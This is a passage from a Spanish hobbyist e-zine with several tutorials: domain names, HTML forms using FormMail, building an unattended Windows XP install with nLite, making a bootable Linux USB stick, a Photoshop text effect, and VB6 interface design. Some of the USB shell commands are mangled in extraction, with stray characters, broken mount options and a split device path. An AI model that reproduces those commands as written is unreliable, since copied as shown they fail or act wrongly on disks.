Pero un nombre de dominio no apunta necesariamente hacia un servidor único, eso es el propietario quién lo decide; en la práctica, significa que conservando el mismo nombre de dominio, puedes cambiar de servidor. Si queremos un buen dominio tenemos que saber bien que es lo que necesitamos y queremos hacer llegar a la gente, si la pagina se trata de juegos para celulares, no es obligación que el dominio se llame juegosparacelulares.com etc… pero es un buen dominio para la facilidad de indexación y fácil de acordarse.. pero yo voy a lo mas original, También podemos inventar nombres que a veces puede significar con el tiempo a los que nos dedicamos o lo que queremos vender. Los dominios mas comunes (Hay que decir que existen muchos otros de distintos países y organizaciones) .biz Sitios de Organizaciones de Negocios .com Sitios Comerciales .edu Sitios Educativos .gov Sitios de Organismos Gubernamentales .info Sitios de Apertura Libre de Dominios de Nivel Superior TLD .int Sitios de Organizaciones Internacionales .mil Sitios de Dependencias Militares Oficiales de los Estados .name Sitios Personales .net Sitios de Sistemas y Redes .org Sitios de Organizaciones Nota: Los Dominios de Nivel Superior Globales (GTLD), creados para ser usados por los usuarios de Internet en general. En internet los mas grande es utilizar dominios hasta de 67 caracteres de largo. Números y letras son permitidos en el contenido de los dominios, pero no se permiten espacios ni caracteres especiales (por ejemplo, =, &, $, ñ, tildes, etc.).

Hola bueno voy a dejar algunos comandos mas importantes para empezar con formularios si ven otros

mas interesantes lo ponen

<FORM METHOD="Post" ACTION="http://www.pagina.com/cgi-bin/formmail"> Se define como se va a utilizar la forma o sea el método a utilizar y la acción que vamos a ejecutar es un programa "FormMail" que se encuentra en la dirección: http://www.pagina.com/cgi-bin/formmail

(FormMail, es un programa que da a su proveedor de espacio no le da el programa CGI para FORMAS, puede utilizar este).

<INPUT TYPE="hidden" NAME="recipient" value="dirección email"> Aca le indica al programa CGI anterior cual es la dirección de correo en donde deseamos recibir la información que el usuario está llenando. Cuando se declara HIDDEN la información quiere decir que el usuario no va a ver esta línea en nuestra página WEB.

<INPUT TYPE="hidden" NAME="subject" value=" subject recibido"> va a ser un correo que vamos a recibir de nuestra pagina, lo que tenemos que indicarle a el CGI que nos envíe el "ASUNTO o SUBJECT" del correo.

<INPUT TYPE="hidden" NAME="redirect" value="url donde ingresara"> aca le indicamos al programa CGI que al terminar de recibir la información, lleve al usuario a una página WEB. Por lo general se envía al usuario a una página de agradecimiento por haber llenado la FORMA.

<INPUT TYPE="text" NAME="nombre" size="30" maxlength="40"> Lo que hacemos al CGI que tenemos una variable que se llama NOMBRE, la cual tiene un largo de 30 caracteres visibles y un máximo de 40. Si nos fijamos la siguiente línea HTML lo único que cambia es el nombre de la variable que se llama "email". entonces eso dice que podemos tener todas las variables que querramos y los largos visibles y máximos pueden ser cualquier tamaño.

<INPUT TYPE="submit" VALUE="enviar"> Aca es para enviar toda la información que se acaba de llenar al programa CGI y este a su vez nos lo enviará a la dirección de correo que se definió anteriormente.

<INPUT TYPE="reset" VALUE="BORRAR"> Acá en este comando podemos borrar todas las formas para volver a completar el formulario.

</FORM> Esto le indicará al código HTML que nuestra definición de la FORMA para cerrar el formulario creado y es importante ponerlo Bueno espero que les haya servido de algo esta explicación, ya que siempre es importante tener en cuenta estas sugerencias, un saludo.

Senege

Page 51: CUH E-zine 4ª Edicion

Crea Tu propio windows desatendido CUH e-zine 4ª edición

Bueno me presento soy Otacon creador de los Windows LastOne, los puedes ver en google ;).

Bueno como bien lo dice el titulo este espacio estará dedicado, para que tu como una persona que tienes curiosidad en el mundo de la informática, te puedas crear tu win al gusto tuyo con tus diseños y lo mejor de todo mas rápido que el windows original.

Como todo para empezar deberás conocer algunos conceptos básicos, además del software que deberás utilizar en la práctica para que vallas creando tu win paso a paso hasta que logres tener conocimientos avanzados del mismo. (En el transcurso del manual y en la practica se estarán dando conceptos para que te estés acoplándote a los nuevos conceptos que manejaras.)

Bueno muchas personas estarán pensando que cosa es un “windows desatendido” (ya que nadie nace aprendido) así que os explicare; es un windows que un usuario x modifica a su gusto, eliminando componentes del mismo y así lograr un mejor rendimiento, velocidad, estabilidad y lo mejor de todo un diseño original que tal vez nadie tendrá en este planeta. Bueno como veraz es algo único y especial que le puedas dar un mejor retoque a ese windows que tú tienes. Empezando en la práctica necesitaremos algunos materiales para empezar entre ellos están:

• El CD de Windows Xp (si lo tienes con Sp3 o Sp2 pues será más fácil para ti la preparación del disco.)

• Un quemador de CD (mejor si logras tener uno de dvd así podrás hacer una creación con muchos software que se instalen automáticamente.)

• Y la mejor de todo, es mucha, pero mucha paciencia y ganas de aprender.

Para iniciar en esto ocuparemos una herramienta muy valiosa para que no te molestes mucho modificando un windows ya que es algo muy grande además no tenemos mucho tiempo para explicar detalladamente cada uno de los archivos del windows así que empecemos bajándonos Nlite lo puedes conseguir en esta pagina Web y lo mejor de todo es que es gratuito. http://www.nliteos.com/download.html. bajamos elllamado Nlite v1.4.5 Final | Installer.(no te bajas betas ya que desde luego te pueden provocar algún fallo)

Beta: es el software que sacan de pruebas para poder encontrar algún bug (error) en ese software antes de sacar la versión final, así que ya sabes nada de betas. Una vez bajado; lo instalamos en nuestro PC. (El famoso siguiente. siguiente y aceptar.) :D (Recuerda que debes tener antes instalado Microsoft .NET

Page 52: CUH E-zine 4ª Edicion

Crea Tu propio windows desatendido CUH e-zine 4ª edición

Framework, versión 2.0), te lo puedes bajar de acá. http://www.microsoft.com/downloads/details.aspx?displaylang=es&FamilyID=0856eacb-4362-4b0d-8edd-aab15c5e04f5. Una vez instalado vamos a abrirlo y escogemos el idioma Español.

Luego nos dirá que escojamos el Sistema Operativo (SO es la definición corta de sistema operativo) que vamos a usar, luego de haberlo buscado en tu CD ROM te dirá que lo guardes en un sector de tu disco duro así que te haces una carpeta llamada winhack, y le dices que lo guarde ahí y empieza a copiar los archivos.

Luego nos mandara una pantalla de ajustes preestablecidos, lógicamente no tenemos ninguno, así que dale siguiente, después nos pondrá la parte interesante de este programita y es el control central de nlite donde le decimos globalmente que hacer, así que explicare las ramificaciones de la rama principal de cada función que tiene nlite.

El primer botón llamado “Service Pack” que mas decir con esto, :D, pues si es donde metes los service pack que quieres que tu windows posea, así que cuando entres en esa sección te dirá que busques el service pack que te hallas bajado y solamente le dices donde esta, el hace la compilación por ti ;), luego podemos ver el botón “act criticas y Conjuntos de actualizaciones” ahí insertas todas las actualizaciones que hallan después del ultimo service pack, que por ahora son pocas con la salida del Sp3. En el siguiente botón llamado “integrar controladores”, ahí metes los drivers que quieres que ya vengan preestablecidos como los de tu tarjeta de sonido, de video, drivers sata etc. (ten en cuenta que si de casualidad metes un driver y el nlite te dice en que modo quieres que se integre le pones que en modo “controlador regular PNP” es la mejor opción ok. “Eliminar controladores”; que se puede decir de ese botón ¿?, pues casi nada solo entra y elimina lo que vos no quieres que se instale en tu SO. Seguimos con el botón llamado “instalación desatendida” este es muy general y es el creador de un archivo llamado winnt.sif (lo utilizaremos varias veces en el transcurso del curso) que se encuentra en la carpeta \I386\ de nuestro windows. Así que este será el que haga una cierta parte el win desatendido como un 85%, ya que lo otro lo haremos nosotros manualmente igual que la modificación de iconos, estilos visuales y algunas otras cosillas que se me escapan por ahora, sigamos con este botón una vez dentro, nos encontraremos con varias pestañas en las cuales existen varios parámetros (métodos) en los que modificaremos para lograr una buena configuración del winnt.sif. En la pestaña general hay varias opciones. empezamos con el “modo desatendido” en la cual le ponemos la opción “totalmente automatizado” ya que queremos el win totalmente desatendido, después sigue la opción “OEM Preinstall” esa la ponemos “habilitado”,(En la

Page 53: CUH E-zine 4ª Edicion

Crea Tu propio windows desatendido CUH e-zine 4ª edición

próxima entrega te darás cuenta de su funcionamiento); y lo que es el “Directorio de archivos de programas” y “Prevención de ejecución de datos” podemos dejarlo como viene “por defecto”, En la clave del producto cabe decir que es donde vas a poner la licencia de tu windows, así que ahí no hay nada que explicar, en la opción “tipo de equipo” lo dejamos en “automático”, ya que exactamente no sabemos si lo vamos a instalar en un equipo con multiprocesador o monoprocesador, en la siguiente opción llamada “Misceláneo” es donde escogemos si queremos que el ‘firewall’ de windows, ‘la hibernación’ y el ‘salta oobe’ vengan desactivados, así que tu escoges como quieres que vengan. La opción ‘restaurar sistemas’ también es a tu escogencia personal así que configúralo a tu gusto. Nos pasamos a la pestaña a usuarios… (ehh te has pasado una la de RunOnce, pues no me la he pasado sino después la configuraremos manualmente ya que de acá te puede causar problemas a la hora de entenderlo así que para después ‘próxima entrega’ ;). Bueno ahora en la pestaña usuarios están las opciones para que creas las cuentas de usuario que tu desees que tu win traiga con todo y password si es que lo deseas así que configúralo a tu gusto. Nota: no podrás seguir este curso a menos que tengas el nlite abierto, ya que tendrías que estar imaginando lo que te voy diciendo, y pues estar poniendo imágenes se nos va la revista en dos segundo así que si te interesa este curso ya sabes como aprender xD. Bueno seguimos con la otra pestaña llamada “ID de red”, te imaginaras que se trata de el ‘nombre de tu equipo’, ‘grupo de trabajo’, y el ‘nombre de dominio’ así que establece cuales serán esos nombres para tu windows. Bueno cabe decir que las pestañas “Regional”, “configuración de red”, “componentes”,”Configuración de red”, “Pantalla” y “Actualizaciones Automáticas” son muy fáciles de configurar así que no te las explicare ya que esta en español y te dicen para que sirve Pero la de “Temas de escritorio” la dejaremos para después ya que también es otra que necesitamos hacer algo antes para poder integrar bien nuestros temas al windows. Bueno ya concluimos con el botón de “instalación desatendida” (por ahora, ya que aun falta algunas cosas que configurar y poder terminar nuestro proyecto). Continuando con los botones del control central de nlite, en el botón ajustes puedes configurar las ‘conexiones simultaneas’ que ayudan mucho para software (peer to peer.), además de habilitar el ‘soporte para temas no firmados’ (recuerda habilitarlo que después no tengas problemas de que no te sirven tus estilos visuales.) Bueno nos quedan dos botones el de “ajustes” pues seleccionas los servicios que quieres que traiga el win

por defecto además de configurar como que quieres que traiga el escritorio, que efectos visuales vendrán incluidos, etc., el ultimo botón “crear imagen iso” será el ultimo botón que usaras. creo que para la próxima entrega lo podamos ver ya que faltan muchas cosas que aprender. Nota: recuerda que nlite apenas lo abres debes escoger todas las opciones menos “crear imagen iso”, para que después le integremos varias cositas entre ellas el software; pero desde luego no podremos crear aun nuestro win sino hasta la próxima entrega de este manual de creación de tu windows desatendido.

Esto es lo básico para luego meterse en lo que es modificaciones de la pantalla de instalación, cambiar la pantalla de bienvenida, modificar los iconos del windows y ponerles unos de mac o Linux; o lo que tu tengas a disposición, crear el botoncito de información de soporte. Modificaciones en el registro, utilización del WPI y luego entrar de lleno en lo que es la instalación desatendida de los software, (utilizaremos la programación batch, ojala hayas leído las anteriores revistas de cuh e-zine donde Furios dami te da la explicación de cómo programar en este lenguaje.) espero que les haya gustado esta pequeña intro al mundo de los desatendidos y pronto logren crear sus propios windows totalmente personalizados y al gusto de cada uno.

Page 54: CUH E-zine 4ª Edicion

Pendrive USB de Arranque en Linux CUH e-zine 4ª edición

Hola amigos soy rOnNyLdInHo, y antes de dar inicio a esta pequeña sección, quería agradecer a todo el equipo que hace posible la edición de esta ya conocida CUH EZINE, para mí es un honor y a la vez una responsabilidad, formar parte de este selecto grupo de la tercera edición de tan esperada revista. Deseando que tanto usted como sus allegados(as), les sirva mucho no sólo este tutorial, sino la revista en sí... que por ese motivo fue diseñada. EMPEZEMOS......

Bueno. lo que veremos en este manual, es algo relativamente facil, pero..... Porque relativamente? 1- Por su título: Ya que muchos pensarán que es algo complicado, y por lo tanto lo ignoro. 2- Por el SO a utilizar: Muchos esperaban hacer un USB de arranque, en Windows?. ja dejeme reirme otra vez, ja. ;) 3- Si eres de esos que piensas que con pintar en The Gimp o hacer textos en OpenOffice, ya dominas Linux, solo mira esto y comienza a aprender, que para eso estamos todos aquí en esta Tierra

Ahora que es lo que necesitamos??? 1- Ganas de aprender. 2- Quitarse esa mentalidad de que Windows lo puede todo...sólo dale una oportunidad a Linux y verás como responde él de bien. ;> 3- Utilizar mucho eso que tienes arriba y que muchos lo llaman cerebro, NOTA: Yo hoy me di cuenta que funciona no sólo para ponerse el sombrero. 4- Fuera de chistes y demás, saber que esto es sólo un manual, una ayuda, la parte más importante la haces tu, y como lo dije antes, tu cabecita. Qué es exactamente lo que vamos a hacer? Bueno, ya que muchos hemos pasado por ser novatos en Linux, nos gustaría tener esa inquietud, de cómo responderá si lo pongo a trabajar fuerte. Entonces haremos una unidad de arranque USB. Crear una unidad de arranque USB es fácil, pero antes de empezar a digitar como loco, quiero dar una pequeña introducción al tema. Primero debes saber que NO todas las placas base son capaces de arrancar desde USB. Es más, muchas no arrancan ni con combinaciones de pendrives USB y placas base juntas. Algo peor? Sí hay algo peor, algunas llaves empiezan a cargar el sistema operativo pero quedan frenadas en los procedimientos del cheksum de la BIOS interna tras transferir unos pocos Kbs de información. Hasta se ha visto en algunas ocasiones, que hasta depende de qué puerto USB se está usando para ponerla a funcionar. Pero bueno, no le echemos mas leña al fuego, la mayoría de las combinaciones de placa(capaz de arrancar desde USB) y llave, funciona :) Hay que tener en cuenta que hay algunos obstáculos que debemos superar en el proceso de arranque. En el momento en que el bootloader debería leer el kernel de Linux y el initrd desde el pendrive, no hay SO que se esté ejecutando y la BIOS del ordenador debe hacer todo el trabajo de detectar las particiones y cargar la información de la unidad sin tener ningún otro driver disponible más que los del firmware de la BIOS en la placa. Por otro lado, tan pronto se carga el kernel de Linux, la llave USB “desaparece”. O sea, ya no es visible, y tiene que re-detectarse por el kernel usando módulos de disco RAM inicial que contiene los drivers USB y el sistema de archivos usado por las particiones que contienen la información principal de tu SO. Existen aún muchas cosas que pueden ir mal en un arranque desde USB, incluso si seguimos los pasos correctamente. Es probable que no sea culpa nuestra.... Para los siguientes ejemplos vamos a usar /dev/sda

Page 55: CUH E-zine 4ª Edicion

Pendrive USB de Arranque en Linux CUH e-zine 4ª edición como nombre del dispositivo del pendrive USB. Esto puede ser incorrecto en muchos casos, especialmente si nuestro equipo alberga discos SATA. Es aconsejable volver a verificar el nombre del dispositivo asignado al dispositivo USB cada vez que lo conectemos. Para la mayoría de los comandos no vamos a necesitar permisos de root si los archivos del dispositivo que están en /dev se pueden escribir por un usuario de cuenta normal y son contables mediante las correspondientes entradas de /etc/fstab. En caso contrario, usaremos sudo o un shell de root, con lo que debemos ser especialmente cuidadosos. Nota: Si no sabes como conseguir permisos de root con un sudo, es recomendable que no realices este tutorial. Paso 1: Creamos el sistema de archivos. Algunos pendrives USB sólo arrancan si se particionan de cierta manera, y algunas BIOS aparentemente buscan un cierto tipo de cabecera de partición y sistema de archivos, o renunciarán a arrancar. He visto casos en los que una placa sólo quería arrancar desde un pendrive USB sin particionar, y otros en los que se requerían tanto el flag de un sector de arranque DOS como el de la partición de arranque. En primer lugar podemos probar con una tabla de particiones por defecto y un sistemas de archivos más o menos sin modificar. La mayoría de los pendrives USB recientes tienen una especie de tabla de particiones válida en la que la primera partición primaria está formateada en FAT16 o FAT32. En este caso debemos asegurarnos de que la particón es arrancable. Para una partición de un pendrive USB que aparezca como /dev/sda1, el comando para configurar el flag como “arrancable” sería:

sfdisk -A1 /dev/ sda

Para reparticionar la unidad USB podemos usar las mismas herramientas que usamos para un disco duro normal (es decir: qparted o, mi favorito y el favorito de muchos: fdisk o sfdisk).

El tipo de partición para un sistema de archivo DOS/FAT (el menos problemático para el arranque desde una unidad USB) sería “6” para FAT16 y “b” para FAT32. Usamos FAT16 para particiones menores de 2GB y FAT32 si son mayores. Véase arriba el comando de sfdisk para fijar el flag de la partición como arrancable (o 'activo'), lo cual es independiente del sistema de archivo de las particiones o del contenido. El comando de mkdosfs para dar formato a una partición FAT16 como /dev/sda1 es:

mkdosfs -F16 /dev/sda1

Mientras que para FAT32, sería:

mkdosfs -F32 /dev/sda1

Aunque yo creo que no, pero aún así lo voy a decir(escribir en este caso), es obvio que a este punto perderemos toda la información que esté en la partición, por lo tanto debemos hacer una copia de seguridad de toda la info que consideres importante. Muchos pendrives USB no muestran la nueva tabla de particiones inmediatamente, por lo que es buena idea sacar y reconectar el pendrive USB o disco duro cada vez que sigamos los pasos anteriores. Ahora volvemos a verificar la nueva partición con:

cat /proc/partitions

Tras haberlo conectado de nuevo y después de haber esperado muchos segundos (muchos, muchos, puedes irte a tomar un café :>, je je es porque algunas unidades son muy lentas en la detección de la tabla de particiones). Si la unidad ya aparece como un nombre de nuevo dispositivo (es decir, sdb en lugar de sda), probablemente hemos olvidado desmontar el sistema de archivos antes de desconectarla. Podemos hacerlo ahora, no obstante, es probable que no exista ya, tras la repartición de la unidad. Para los pendrives USB sin partición (si el método de arranque particionado falla), nos saltamos el paso de particionado y tecleamos el comando mkdosfs sobre el pendrive USB entero. Esa, amigos míos, fue la parte más difícil, ahora lo que viene es sumamente sencillo, similar a cambiar de Windows XP a Ubuntu Feisty :) Paso2: Instalar el syslinux como cargador del kernel Lo que isolinux hace para un CD/DVD, syslinux lo hace para las particiones o discos formateados en DOS. Para unidades particionadas:

syslinux /dev/sda1

Para unidades no particionadas:

syslinux /dev/sda

aquí debemos de asegurarnos que estamos utilizando el nombre correcto de dispositivo para nuestro sistema. Si usamos un pendrive USB particionado, podemos configurar (o si prefieres resetear) el sector de arranque adecuadamente. Aunque, no es necesario hacer esto. Puede que primero queramos ver si el arranque funciona sin cambiar el MBR. Instalamos un sector de arranque syslinux para unidades particionadas:

Page 56: CUH E-zine 4ª Edicion

Pendrive USB de Arranque en Linux CUH e-zine 4ª edición

ms-sys -s devicename

Usamos /dev/sda si /dev/sda1 es la partición FAT16/FAT32 del pendrive USB. Debemos vigilar que el nombre del dispositivo sea correcto. Paso3: Copiamos los archivos de arranque y la información En este paso, tenemos que montar el pendrive USB (o partición, si usamos el modo particionado) en modo sensible a mayúsculas:

mkdir -p /media/usbkey mount -t vfat -o rw.umask= 000.shortname=winnt /dev/sda1 /media/usbkey

A continuación deberíamos cambiar /dev/sda1 a la partición en cuestión, y entonces saltarnos el número de la partición en caso de usar todo el pendrive. Copiamos ahora los archivos de arranque desde el CD o DVD de tu Distro* *Como lo dijo mi amigo LTSmash en la edición pasada, una distro es una distribución de cualquier SO basado en GNU/Linux. En mi caso, para hacer este manual yo instalé Knoppix, pero se puede realizar en cualquier distribución de Linux sin ninugún problema. Nada más en los códigos que presentaré a partir de aquí, cambian el nombre KNOPPIX por sus distro, por ejemplo: Ubuntu, SuSe, Lindows, etc. Vamos a suponer que el CD se monta en /cdrom en una sesión Live de Knoppix, aunque en realidad este paso se puede realizar en cualquier distro de Linux.

cp /cdrom/boot/isolinux/* /media/usbkey

Mientras isolinux busca los archivos de arranque en /boot/isolinux, syslinux los busca en el directorio / del sistema de archivos FAT. Pero... ¡syslinux da un nombre diferente a su archivo de configuración!

mv /media/usbkey/isolinux.cfg /media/usbkey/syslinux.cfg

Podemos borrar con seguridad los archivos específicos de /iso/eltorito, ya que no los vamos a necesitar.

rm -f U /media/usbkey/isolinux.bin /media/usbkey/boot.cat

En este punto el pendrive es arrancable y contiene tanto el kernel como el initrd, y podemos empezar a copiar los archivos de cloop, que residen en el directorio de tu distro , en mi caso, Knoppix.

rsync -Hav –progress /cdrom/KNOPPIX U /media/usbkey/KNOPPIX

Una vez hecho esto, tenemos que desmontar el dispositivo para poder sincronizar el búfer, de datos pendientes a disco y cerrar la sesión. No se sorprenda si este comando tarda bastante tiempo en ejecutarse. Puede haber muchos datos sin escribir en memoria debido a la fabulosa caché del búfer dinámico de bloques de Linux, que hace parecer que las escrituras en disco son más rápidas de lo que realmente son.

umount /media/usbkey

Paso4: Configurar la BIOS de la PC

Una placa capaz de arrancar desde USB tiene al menos dos modos de arranque por USB: 1- Arranque desde Disco Duro USB. (Unidad USB particionada) 2- Arranque desde unidad ZIP USB. (Unidad USB sin particionar) Para nuestro disco duro la opción DISCO DURO sería la correcta pero todo depende de lo que hagamos en el paso 1.

Créditos. Manual editado por rOnNyLdInHo. Revista Linux Magazine por la oportunidad de editarlo. Klaus Knopper fundador de Knoppix por la ayuda. Este manual ha sido editado únicamente para la revista

CUH-Ezine del foro: http://foro.el-hacker.com Dudas, Comentarios, Sugerencias y Quejas: [email protected] [email protected] http://foro.el-hacker.com

Page 57: CUH E-zine 4ª Edicion

Bling Text Tutorial CUH e-zine 4ª edición

Creamos un nuevo Documento con Fondo De color Negro, así nos será mas fácil trabajar, escribe tu texto en color blanco.

Y ahora aplícale al texto los siguientes Estilos:

Quedando Algo Así:

Ahora haz Ctrl + Click en el icono de texto de la capa para crear una selección del texto.

Si no sabes como hacerlo observa esta imagen.

Seguidamente dirígete a Selección > Modificar > Contraer, y contráelo 5 Pixeles, AUN NO DESELECCIONES.

Page 58: CUH E-zine 4ª Edicion

Bling Text Tutorial CUH e-zine 4ª edición

Ahora crea una nueva capa ( sin deseleccionar ) rellénala de color blanco.

Ahora dirígete a Filtro > Ruido > Añadir Ruido con estos valores: Cantidad: 40% Distribución: Gaussiana y Activamos la casilla Monocromático y le damos a Aceptar.

Luego presiona Ctrl + F para repetir el filtro. NO DESELECCIONES AUN !

Ahora nos vamos a Filtro > Ruido > Polvo Y Rascaduras , Con estos Valores: Radio: 1 Pix. Umbral: 130.

( Nota: Aquí puedes varias los valores para que se adapten a tu gusto y al tamaño de tu texto )

Seguidamente nos dirigimos a Filtro > Estilizar > Relieve , Con estos Valores: Altura: 3 Pix. Cantidad: 130%.

Queda un poco oscuro, pues vamos a subirle el brillo, para ello vamos a Imagen > Ajustes > Brillo/Contraste Con estos valores: Brillo: +70 Contraste: -20.

Ahora podemos deseleccionar presionando Ctrl + D.

Ahora le aplicamos estos estilos, a la capa del Ruido.

Quedando Asi:

Ahora crearemos unos brillos, si no dispones de Pinceles de Brillos no te preocupes ahora te mostramos como crearlos manualmente.

Primero crea una nueva capa, selecciona el color blanco, selecciona la herramienta Línea con una medida de 2 Pix. y dibuja una X en la capa, ahora creamos otra

Page 59: CUH E-zine 4ª Edicion

Bling Text Tutorial CUH e-zine 4ª edición nueva capa, seleccionamos la herramienta de Pincel, suavizamos al máximo el pincel y hacemos un clic en el centro de la X, ahora seleccionamos la capa de la X y le bajamos la opacidad asta nuestro gusto, luego con el borrador suavizado barramos las puntas de la X dándole forma de aguja, quedando como resultado:

Ahora une las dos capas del brillo ( Ctrl + E ) y duplícala tantas veces quieras y muévelas hacia el lugar que decidas.

En la siguiente imagen solo hemos añadido un degradado a la capa del texto original

Para que quede un buen resultado, es hacer el texto con unas grandes dimensiones, al hacerlo con un gran tamaño el efecto quizás no es bueno, pero si reducimos el texto, el efecto mejora notablemente, para ello, lo que tienes que hacer es seleccionar todas las capas, luego presionar Ctrl + E para unirlas, luego presionar Ctrl + T para abrir la transformación libre y ahí reducimos la imagen un poco hasta que veamos que su efecto a mejorado.

Quedando un resultado como este:

Page 60: CUH E-zine 4ª Edicion

Diseño de interfaces 1 CUH e-zine 4ª edición

Este tuto esta hecho para dar una guía de mas o menos que pasos debemos seguir para la creación de interfaces para nuestros programas y las pautas que debemos segur a la hora de escoger el color y las formas de los distintos elementos de la misma, en este tutorial se usaran tres programas:

Photoshop CS2

Visual Basic 6.0

Microangelo 5.5

Para el diseño de las barras fondos y botones usaremos el Photoshop CS2, debemos tener en cuenta que podemos manejar distintos tamaños para las ventanas y demás componentes de nuestros programas, así mismo debemos tratar de ser consecuentes y concordantes en cuanto a los colores o sea el manejo de un tema uniforme para las distintas partes u elementos de nuestras aplicaciones, antes no se tenían en cuenta este tipo de cuestiones, ya que de lo que se trataba era ser funcionales y el diseño poco trascendía en la creación de un programa, pero en la actualidad ya es un ítem manejar el concepto del diseño grafico en los programas, ya que esta será la cara que daremos a los demás y de esta forma se verán que nuestras maneras de trabajar son

acordes a la realidad y la actualidad, es por ello que se hace necesario saber ciertas cosas para poder competir gráficamente con otras aplicaciones que pueden hacer lo mismo que la nuestra, pero que por diseño la nuestra se lleva de leguas a las demás, siendo escogida por esta cualidad ante las demás, es cierto que entre mas liviana sea nuestra aplicación, mas funcional será, sin embargo con los tipos de tecnologías y el hardware soportado y que se maneja en la actualidad eso ya no es un pretexto para hacer aplicaciones arcaicas y monocromáticas, ya que un poco de diseño no le añadirá el suficiente peso para hacerla inoperable (A menos que tengas un PC de el pasado milenio), ya que con los equipos que salen al mercado desde hace mas de 5 años fácilmente una aplicación de menos de 10 megas es algo casi que ultraliviano entre comillas lógicamente! Entonces empezaremos con la parte de la barra de titulo en Visual Basic 6.0 lógicamente

y para poder personalizar nuestra aplicación para que dicha barra de Windows desaparezca debemos manejar la propiedad BorderStyle del form:

Page 61: CUH E-zine 4ª Edicion

Diseño de interfaces 1 CUH e-zine 4ª edición

En Windows se usa esta barra para poner el titulo de la ventana y para el manejo de los botones de visualización, por defecto Windows depende del theme que se use actualmente para así mismo poner el color y la fuente de la misma, entonces en el combo de la propiedad la ponemos en 0-none para omitir la barra. De forma que podemos usar las nuestras para personalizar totalmente nuestras

Cabe decir que al quitar este elemento el form queda fijo ya que no se puede mover la ventana al carecer de la barra, sobra decir también que sirve para ello, sin embargo podemos manejar el API ReleaseCapture, por el momento veremos la forma de hacer las barras para usarlas en nuestras aplicaciones, suponiendo que manejamos varios tamaños de ventanas, entonces para cada tamaño manejaremos una barra, en nuestro primer caso vamos a suponer que hacemos el home y una ayuda por el momento, necesitaremos dos forms para ello, pero primero vamos al diseño de las barras en photoshop. Abrimos un nuevo documento de 400 pixeles de ancho x 20 pixeles de alto, lo rellenamos de negro.

Insertamos una nueva capa

Con la herramienta pincel, un pincel duro, redondo y de color blanco

Cuando necesitamos precisión podemos usar las guías para manejar exactitud a la hora de diseñar, en el menú Vista, Nueva Guia:

Page 62: CUH E-zine 4ª Edicion

Diseño de interfaces 1 CUH e-zine 4ª edición

Hacemos tres puntos separados equitativamente y ala misma altura, dejando las guias para poner los botones de la siguiente forma

Seleccionamos la Herramienta Texto y escribimos un carácter por capa en cada botón

Creamos una nueva capa de color blanco asi:

Le bajamos a esta capa a 45% quedando asi

Ya tenemos nuestra primer barra lista para usar, la guardamos en el menú archivo guardar para web

bien sea como un .gif o como un .jpg

Este mismo documento nos puede servir para crear la barra mas ancha, debemos guardar el psd para mantener los documentos psd, vamos al menú archivo

Page 63: CUH E-zine 4ª Edicion

Diseño de interfaces 1 CUH e-zine 4ª edición

independientes en caso de futuras modificaciones pero debemos crear la mas ancha de 600 px de ancho X 20 px de alto, para ello nos vamos al menú imagen

Y le cambiamos el ancho a 600, seleccionamos todas la capas (menos la capa de fondo negro o

sea la base) en el menú capas, se logra seleccionando la primera y con la tecla CTRL presionamos una a una las capas que necesitamos manipular

en este caso necesitamos moverlas a la derecha de la barra para después dimensionar la capa que da el efecto de resplandor

De esta forma ya podemos hacer algo básico, entonces vámonos a Visual Basic de nuevo, allí nos vamos a la propiedad Picture del form1 y seleccionamos la barra pequeña para el home de nuestra aplicación, debemos adaptar el ancho del form de forma que se adapte al ancho de la barra

Page 64: CUH E-zine 4ª Edicion

Diseño de interfaces 1 CUH e-zine 4ª edición

Ahora le ponemos al form a la propiedad BackColor el color negro

Luego insertamos un shape rectangular Lo modificamos a de forma que quede de la siguiente forma:

Y las propiedades del Shape quedan de esta forma

Ahora insertamos un nuevo form

Hacemos lo mismo que en el primer form, esta vez seleccionamos la barra mas ancha, el BackColor del Form2 igual que el anterior, pero esta vez vamos añadir dos shapes rectangulares una transparente y otra blanca a modo de panel lateral, y una línea, quedando algo así

Volvemos de nuevo al Photoshop para hacer algo que es típico de las paginas webs y del diseño en general, y es crear una imagen transparente de 1 pixel x 1 pixel, la usaremos como una mascara o capa de selección, ya veremos como la usaremos, entonces para ello abrimos un nuevo documento transparente de 1 px X 1 px y lo guardamos con el nombre de EspacioBlanco.gif, volvemos al form1 e insertamos un Image, seleccionamos la imagen EspacioBlanco.gif y en la propiedad Stretch le ponemos True de esta forma la expandimos para abarcar un botón, seleccionamos la imagen y le damos click derecho, copiar, pegar, nos saldrá algo diciendo que si deseamos un no se que XD, le decimos que

Page 65: CUH E-zine 4ª Edicion

Diseño de interfaces 1 CUH e-zine 4ª edición

no y pegamos de nuevo, escogemos no de nuevo, corremos las imágenes una en cada botón

Volvemos a photoshop para hacer unos botones breves, abrimos una nueva capa de 60 px X 20 px Le ponemos el fondo negro con la herramienta texto escribimos entrar

Para el borde blanco del botón seleccionamos la capa de fondo y en el menú Capa

Le dejamos el trazo como se ve

Guardamos para web, en formato .Gif como botón-A.gif, ahora seleccionamos el texto y le cambiamos el color a un tono gris y en el resplandor exterior le dejamos como se ve

A la capa del fondo en el estilo resplandor interior lo dejamos como se ve en la siguiente imagen, el color es a vuestro gusto de igual forma todo lo aquí expuesto, es el estilo personal el que decide los esquemas de colores que se elegirán para hace las aplicaciones determinando en ello el tipo de aplicación y los usuarios a los que llegará nuestro programa o aplicación.

Page 66: CUH E-zine 4ª Edicion

Diseño de interfaces 1 CUH e-zine 4ª edición

De nuevo en Visual agregamos un Command o botón que llaman, en la propiedad Style le dejamos en 1-Graphical, seleccionamos la propiedad Picture y cargamos la imagen Boton-A.gif

En las propiedades dejamos como se ve aca

En la propiedad DownPicture cargamos la imagen que queremos que se active al clicar el botón, de esta forma creamos un efecto de roll-over sin embargo es molesto el borde del command por ello yo prefiero hacerlo con el control Image y no con el control Command, al evento click del

Command le cargamos el form2 con la propiedad Show y el form1 le cambiamos la propiedad visible en false, también asignamos los eventos click de las mascaras o imágenes transparentes, quedando el code del form1 así: ‘Muestra el form2 y Oculta el form1 Private Sub Command1_Click() Form1.Visible = False Form2.Show End Sub ‘Termina la aplicacion Private Sub Image1_Click() End End Sub ‘Ayuda Private Sub Image2_Click() MsgBox "Ayuda" End Sub ‘Minimiza el form Private Sub Image3_Click() Me.WindowState = vbMinimized End Sub

Es importante dejar la propiedad StartUpPosition en 2- CenterScreen, para que siempre arranquen en el centro de la pantalla sin importar la resolución de la misma,

De igual forma debemos pegar las mascaras o imágenes transparentes en el form2 para que quede funcional por el momento y asignarles el mismo code que en el form1, También agregamos un Command pero sin asignarle imagen ni nada

